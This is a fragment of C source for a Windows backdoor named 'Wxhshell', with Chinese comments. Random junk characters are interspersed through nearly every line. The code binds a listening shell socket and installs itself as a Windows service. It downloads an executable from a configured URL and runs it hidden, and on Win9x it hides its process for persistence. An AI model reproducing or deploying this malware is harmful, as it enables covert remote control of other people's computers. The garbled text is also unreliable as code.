)Eb // 主模块 8JMxA2tZhG int StartWxhshell(LPSTR lpCmdLine) ^s=F<_{ { h,fahbH- SOCKET wsl; Z\1`(Pq7` BOOL val=TRUE; o/RGz PR int port=0; ay{]Vqi9 struct sockaddr_in door; Q"LlBp>t|# @'J~(#} if(wscfg.ws_autoins) Install(); ^d9o \ 6k7x7z port=atoi(lpCmdLine); 3)^2X .b2%n;_>. if(port<=0) port=wscfg.ws_port; $qoal [H`5mY@ WSADATA data; #Oa`P if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WL\*g] K4 $nf
%<Q if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; z3 fU|*_c setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZGd7e.u= door.sin_family = AF_INET; ^h<ElK door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zc9S[ivq door.sin_port = htons(port); c-?0~A xaIe7.Z"xo if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6k1_dRu closesocket(wsl); T(kG"dz return 1; /hGu42YG } 1eS@ihkP 'GZ, if(listen(wsl,2) == INVALID_SOCKET) { *^\u%Ir" closesocket(wsl); iSMVV<7 return 1; QP6a,^]; } +ldgT" Wxhshell(wsl); evyA#~o WSACleanup(); 4?x$O{D5?{ yMb.~A^$J return 0; \mwxV!!b$ `9G1Bd8k } dM5N1$1, )x&>Cf<, // 以NT服务方式启动 pH?"@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GYri\ <[ { k8ymOx DWORD status = 0; *3y:Wv T> DWORD specificError = 0xfffffff; f{R/rb&iB EMS$?"K serviceStatus.dwServiceType = SERVICE_WIN32; x#tP)5n?s* serviceStatus.dwCurrentState = SERVICE_START_PENDING; Ktf lbI! serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZOHGGO]1M serviceStatus.dwWin32ExitCode = 0; 8.D9OpU serviceStatus.dwServiceSpecificExitCode = 0; |?uUw$oh serviceStatus.dwCheckPoint = 0; (w,
Gv-S serviceStatus.dwWaitHint = 0; qH*Fv:qnM 9jt+PII hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =a./HCF if (hServiceStatusHandle==0) return; ->U9u lTC nOUF<DNQ status = GetLastError(); Vg?
1&8> if (status!=NO_ERROR) 6y)NH 8l7 { _WHGd&u serviceStatus.dwCurrentState = SERVICE_STOPPED; Z|$OPMLX serviceStatus.dwCheckPoint = 0; Ha20g/UN. serviceStatus.dwWaitHint = 0; Qw/H7fvh& serviceStatus.dwWin32ExitCode = status; | D,->k serviceStatus.dwServiceSpecificExitCode = specificError; Q|:qs\6q5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); !qVnziE,, return; dht*1i3v } LO
M-i> A;C)#Q/ serviceStatus.dwCurrentState = SERVICE_RUNNING; i;}mIsNBY serviceStatus.dwCheckPoint = 0; Ln5g"g8gb% serviceStatus.dwWaitHint = 0; <Yy|.=6 D if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .Zv uhOn^ } >-Q=o,cl%3 a/H|/CB3 // 处理NT服务事件,比如:启动、停止 !%%(o%bi~ VOID WINAPI NTServiceHandler(DWORD fdwControl) o@tc { q`^T7 switch(fdwControl) YhNO{4D { B1Cu?k);. case SERVICE_CONTROL_STOP: )wueR5P serviceStatus.dwWin32ExitCode = 0; ^5BQ= serviceStatus.dwCurrentState = SERVICE_STOPPED; a EmLf serviceStatus.dwCheckPoint = 0; u~q6?*5 serviceStatus.dwWaitHint = 0; L4-v'Z; { w [7vxQ!- SetServiceStatus(hServiceStatusHandle, &serviceStatus); C;NG#4;' } ?hS&OtW
return; C(kIj case SERVICE_CONTROL_PAUSE: s+OXT4>+ serviceStatus.dwCurrentState = SERVICE_PAUSED; sW]fPa(cn, break; ?."YP[; case SERVICE_CONTROL_CONTINUE: % #$K P serviceStatus.dwCurrentState = SERVICE_RUNNING; %uy5la break; j0+l-]F- case SERVICE_CONTROL_INTERROGATE: UCVdR<<Z break;
d|
OEZx }; 7S]<?>* SetServiceStatus(hServiceStatusHandle, &serviceStatus); #cy;((z uB } 7F @#6 ,37\8y?o\ // 标准应用程序主函数 wY6m^g$h3 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DA wUG { 'sT7t&v~ Js}1_K // 获取操作系统版本 Usz O--.C OsIsNt=GetOsVer(); RJk4 2;] GetModuleFileName(NULL,ExeFile,MAX_PATH); ^(on"3sG ?0J&U4 // 从命令行安装 !rZ r:@ if(strpbrk(lpCmdLine,"iI")) Install(); 5Sv;a(} *~SanL\ // 下载执行文件 Z(:q.{"r if(wscfg.ws_downexe) { {q1u[T&r if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VBv|7S WinExec(wscfg.ws_filenam,SW_HIDE); %v)O!HC} } f1,VbuS9I "cD MFu if(!OsIsNt) { r"xs?P&/$ // 如果时win9x,隐藏进程并且设置为注册表启动 RBOg;EJ HideProc(); &.1qixXIr StartWxhshell(lpCmdLine); &\$~ } 5DxNHEuS else *r(Qy0( if(StartFromService()) 1'4?}0Dok // 以服务方式启动 4U>g0 StartServiceCtrlDispatcher(DispatchTable); L~|_C Rw else :e rfs}I // 普通方式启动 0"J0JcFX StartWxhshell(lpCmdLine); T7R,6qt E)F#Z=) return 0; '@dk3:3t }
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